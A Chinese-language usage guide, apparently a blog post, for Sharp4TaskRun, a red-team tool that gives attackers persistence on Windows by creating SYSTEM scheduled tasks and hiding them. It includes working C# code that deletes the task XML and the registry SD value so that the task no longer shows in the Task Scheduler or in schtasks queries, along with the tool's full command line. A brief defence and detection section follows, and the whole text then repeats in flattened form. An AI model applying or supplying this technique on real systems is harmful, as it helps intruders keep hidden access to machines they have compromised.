Sharp4TaskRun:通过隐藏任务计划实现权限持久化的工具
字数 1969 2025-08-22 12:23:12

Sharp4TaskRun工具使用指南:通过隐藏任务计划实现权限持久化

一、工具概述

Sharp4TaskRun.exe是一款专为红队操作设计的工具,用于创建持久性计划任务并通过特定技术隐藏这些任务,使其在常规任务管理界面中不可见。该工具的核心功能包括:

  1. 创建系统级计划任务
  2. 通过修改注册表实现任务隐藏
  3. 维持SYSTEM权限的持久化访问

关键要求:执行隐藏操作的用户必须具有NT AUTHORITY\SYSTEM权限。

二、Windows计划任务基础

2.1 创建可见计划任务的两种方法

方法一:使用at.exe命令

  • 适用系统:Windows XP及Windows Server 2003之前的版本
  • 基本语法:
    at [\\计算机名] 时间 /interactive /every:日期 任务命令
    
  • 示例:
    at 14:00 /every:Sunday,Monday "notepad.exe"
    
    此命令将在每周日、周一的14:00运行notepad.exe

方法二:使用schtasks.exe命令

  • 适用系统:Windows XP以上版本

  • 基本语法:

    schtasks /create /tn "任务名称" /tr "任务命令" /sc 频率 [/st 开始时间] [/sd 开始日期] [/ru 用户名] [/rp 密码]
    
  • 参数说明:

    • /sc:设置任务频率(once/daily/weekly/onlogon等)
    • /ru:指定运行用户(System表示系统权限)
  • 示例:

    schtasks /create /tn "OpenNotepad" /tr "notepad.exe" /sc daily /st 14:00 /ru System
    

三、计划任务的存储机制

3.1 文件系统存储

  • 位置:%SystemRoot%\System32\Tasks
  • 内容:每个任务对应一个XML描述文件,包含完整的任务配置信息

3.2 注册表存储(Windows 10+)

  • 位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName}
  • 关键注册表值:
    • Id:任务的唯一标识符(GUID)
    • SD:安全描述符(Security Descriptor),决定任务的可见性和访问控制

四、隐藏计划任务的技术实现

4.1 完整隐藏流程

  1. 删除任务XML文件

    • 路径:C:\Windows\System32\Tasks\{TaskName}
    • 代码实现:
      private void DeleteScheduledTaskFile(string taskName) {
          string taskFilePath = Path.Combine(
              Environment.GetFolderPath(Environment.SpecialFolder.System), 
              "Tasks", taskName);
          if (File.Exists(taskFilePath)) {
              File.Delete(taskFilePath);
          }
      }
      
  2. 删除注册表SD值

    • 路径:HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName}
    • 代码实现:
      private void HideScheduledTaskInRegistry(string taskName) {
          string registryPath = @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\";
          RegistryKey taskKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64)
              .OpenSubKey(registryPath + taskName, 
              RegistryKeyPermissionCheck.ReadWriteSubTree, 
              RegistryRights.WriteKey);
          taskKey?.DeleteValue("SD");
      }
      

4.2 隐藏效果验证

  • 任务计划程序(taskschd.msc)中不可见
  • schtasks /query命令返回"错误: 系统找不到指定的文件"
  • 唯一残留痕迹:注册表路径计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\下仍存在任务键

五、Sharp4TaskRun工具使用详解

5.1 基本命令格式

.\Sharp4TaskRun.exe /method:create /taskname:{名称} /trigger:{触发类型} /starttime:{时间} /program:{程序路径} /description:"描述" /author:{作者} /technique:hide

5.2 参数说明

参数 说明 示例值
/method 操作类型 create
/taskname 任务名称 Cleanup123
/trigger 触发类型 daily/weekly/monthly等
/starttime 启动时间 20:19
/program 要运行的程序 winver.exe
/description 任务描述 "Some description"
/author 作者信息 Ivan1ee
/technique 隐藏技术 hide

5.3 典型使用示例

创建一个每日20:19运行的隐藏任务:

.\Sharp4TaskRun.exe /method:create /taskname:Cleanup123 /trigger:daily /starttime:20:19 /program:winver.exe /description:"Some description" /author:Ivan1ee /technique:hide

六、防御与检测建议

  1. 防御措施

    • 限制SYSTEM账户的滥用
    • 监控注册表关键路径的修改行为
    • 实施文件系统审计(特别是System32\Tasks目录)
  2. 检测方法

    • 定期检查HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree下的异常项
    • 使用高级EDR工具监控计划任务API调用
    • 对比文件系统与注册表中的任务信息差异
  3. 应急响应

    • 检查所有SD值被删除的注册表任务项
    • 分析System32\Tasks目录中缺失XML文件但注册表存在的任务

七、技术原理总结

Sharp4TaskRun利用Windows计划任务管理机制的以下特性:

  1. 任务信息在文件系统(XML)和注册表中双重存储
  2. 任务可见性由注册表SD值控制
  3. 删除SD值不会影响任务的实际执行
  4. 系统权限进程可以绕过常规权限检查

这种技术实现了真正的"隐藏",而非简单的伪装,使得常规管理工具无法发现被隐藏的任务,同时任务仍能按计划执行。

Sharp4TaskRun工具使用指南:通过隐藏任务计划实现权限持久化 一、工具概述 Sharp4TaskRun.exe是一款专为红队操作设计的工具,用于创建持久性计划任务并通过特定技术隐藏这些任务,使其在常规任务管理界面中不可见。该工具的核心功能包括: 创建系统级计划任务 通过修改注册表实现任务隐藏 维持SYSTEM权限的持久化访问 关键要求 :执行隐藏操作的用户必须具有NT AUTHORITY\SYSTEM权限。 二、Windows计划任务基础 2.1 创建可见计划任务的两种方法 方法一:使用at.exe命令 适用系统:Windows XP及Windows Server 2003之前的版本 基本语法: 示例: 此命令将在每周日、周一的14:00运行notepad.exe 方法二:使用schtasks.exe命令 适用系统:Windows XP以上版本 基本语法: 参数说明: /sc :设置任务频率(once/daily/weekly/onlogon等) /ru :指定运行用户(System表示系统权限) 示例: 三、计划任务的存储机制 3.1 文件系统存储 位置: %SystemRoot%\System32\Tasks 内容:每个任务对应一个XML描述文件,包含完整的任务配置信息 3.2 注册表存储(Windows 10+) 位置: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName} 关键注册表值: Id :任务的唯一标识符(GUID) SD :安全描述符(Security Descriptor),决定任务的可见性和访问控制 四、隐藏计划任务的技术实现 4.1 完整隐藏流程 删除任务XML文件 路径: C:\Windows\System32\Tasks\{TaskName} 代码实现: 删除注册表SD值 路径: HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName} 代码实现: 4.2 隐藏效果验证 任务计划程序(taskschd.msc)中不可见 schtasks /query 命令返回"错误: 系统找不到指定的文件" 唯一残留痕迹:注册表路径 计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\ 下仍存在任务键 五、Sharp4TaskRun工具使用详解 5.1 基本命令格式 5.2 参数说明 | 参数 | 说明 | 示例值 | |------|------|--------| | /method | 操作类型 | create | | /taskname | 任务名称 | Cleanup123 | | /trigger | 触发类型 | daily/weekly/monthly等 | | /starttime | 启动时间 | 20:19 | | /program | 要运行的程序 | winver.exe | | /description | 任务描述 | "Some description" | | /author | 作者信息 | Ivan1ee | | /technique | 隐藏技术 | hide | 5.3 典型使用示例 创建一个每日20:19运行的隐藏任务: 六、防御与检测建议 防御措施 : 限制SYSTEM账户的滥用 监控注册表关键路径的修改行为 实施文件系统审计(特别是System32\Tasks目录) 检测方法 : 定期检查 HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree 下的异常项 使用高级EDR工具监控计划任务API调用 对比文件系统与注册表中的任务信息差异 应急响应 : 检查所有SD值被删除的注册表任务项 分析System32\Tasks目录中缺失XML文件但注册表存在的任务 七、技术原理总结 Sharp4TaskRun利用Windows计划任务管理机制的以下特性: 任务信息在文件系统(XML)和注册表中双重存储 任务可见性由注册表SD值控制 删除SD值不会影响任务的实际执行 系统权限进程可以绕过常规权限检查 这种技术实现了真正的"隐藏",而非简单的伪装,使得常规管理工具无法发现被隐藏的任务,同时任务仍能按计划执行。